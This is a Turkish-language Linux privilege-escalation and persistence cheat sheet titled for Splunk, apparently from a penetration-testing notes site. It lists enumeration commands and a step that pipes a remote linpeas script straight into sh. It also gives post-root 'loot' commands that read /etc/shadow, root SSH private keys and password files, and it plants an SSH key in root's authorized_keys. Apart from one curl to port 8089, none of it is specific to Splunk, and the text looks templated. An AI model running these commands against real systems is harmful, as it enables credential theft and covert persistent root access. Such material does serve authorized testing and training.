Splunk LPE and Persistence
linux privesc
Splunk LPE and Persistence Linux yerel yükseltme / post-erişim notudur. Amaç rastgele exploit değil; izin, SUID, capability, cron/systemd ve yazılabilir yolları enumerasyonla çıkarıp kanıtlanabilir root shell üretmek.
Metodoloji
Section titled “Metodoloji”-
Kimlik, kernel, sudo -l, SUID/cap ve dinleyen portları çıkar.
-
Splunk LPE and Persistenceile ilgili yazılabilir config/binary/timer/group yüzeyini doğrula. -
Primitifi PoC ile root veya eşdeğer yetkiye çevir.
-
Shadow/SSH/history loot al; pivot notunu yaz.
Durum envanteri
Section titled “Durum envanteri”Splunk LPE and Persistence için önce kimlik, kernel, sudo ve SUID yüzeyini kilitle. Enum çıktısı sonraki hipotezleri besler; kör exploit denemeden önce harita çıkar.
id; whoami; hostnameuname -acat /etc/os-releasesudo -l 2>/dev/nullfind / -perm -4000 -type f 2>/dev/nullgetcap -r / 2>/dev/nullps auxwwss -lntpcat /etc/crontab; ls -la /etc/cron.* /var/spool/cron 2>/dev/nullenv | sortYazılım / ağ / bypass
Section titled “Yazılım / ağ / bypass”Üçüncü parti servis, restricted shell ve yerel socket enjeksiyonları enum sonrası gelir.
ss -lntp; ss -lxfind /opt /usr/local -type f -perm -111 2>/dev/null | head -n 40ls -la /opt /var/lib /etc/default 2>/dev/nullcurl -sk https://127.0.0.1:8089 2>/dev/null | headfind / -name '*.conf' -writable 2>/dev/null | headecho $PATH; type -a python python3 perl ruby php nccompgen -c | headbash -c 'enable -a' 2>/dev/nullYazılabilir yollar ve otomatik enum
Section titled “Yazılabilir yollar ve otomatik enum”find / -writable -type d 2>/dev/null | head -n 60find /home /opt /var/www /tmp -type f -readable 2>/dev/null | head -n 40ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/nullcurl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | shpspy64 -pfRoot sonrası loot
Section titled “Root sonrası loot”cat /etc/shadowls -la /root/.ssh; cat /root/.ssh/id_* 2>/dev/nullfind / -name '*.kdbx' -o -name '*id_rsa*' 2>/dev/null | headhistory -a; cat /root/.bash_history ~/.bash_history 2>/dev/null | tailsshd -T 2>/dev/null | headManuel doğrulama komutları
Section titled “Manuel doğrulama komutları”# Splunk LPE and Persistence — hedefe özel varyant 11ls -la /tmp /dev/shm /var/tmpfind /var/log -type f -readable 2>/dev/null | headgrep -Rni 'password\|passwd\|secret\|api_key' /home /opt /var/www 2>/dev/null | head -n 40lsattr -a /etc/passwd /etc/shadow 2>/dev/nullcat /etc/fstab; mount | rg 'noexec|nosuid|nodev'iptables -L -n 2>/dev/null | head; nft list ruleset 2>/dev/null | headlast -a | head; w; whofind / -name '*.bak' -o -name '*pass*' 2>/dev/null | head -n 30python3 -c 'import pty; pty.spawn("/bin/bash")'Stabilize shell
Section titled “Stabilize shell”script -qc /bin/bash /dev/nullexport TERM=xterm; stty rows 40 columns 120ssh-keygen -t ed25519 -f /tmp/k -N ''echo $(cat /tmp/k.pub) >> /root/.ssh/authorized_keys # root sonrasıChecklist
Section titled “Checklist”[ ] id/uname/sudo -l alındı[ ] SUID/cap/cron/systemd tarandı[ ] Yazılabilir config/binary doğrulandı[ ] Privesc PoC ile root kanıtlandı[ ] Credential/SSH loot paketlendiNotlar
Section titled “Notlar”Splunk LPE and Persistence sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.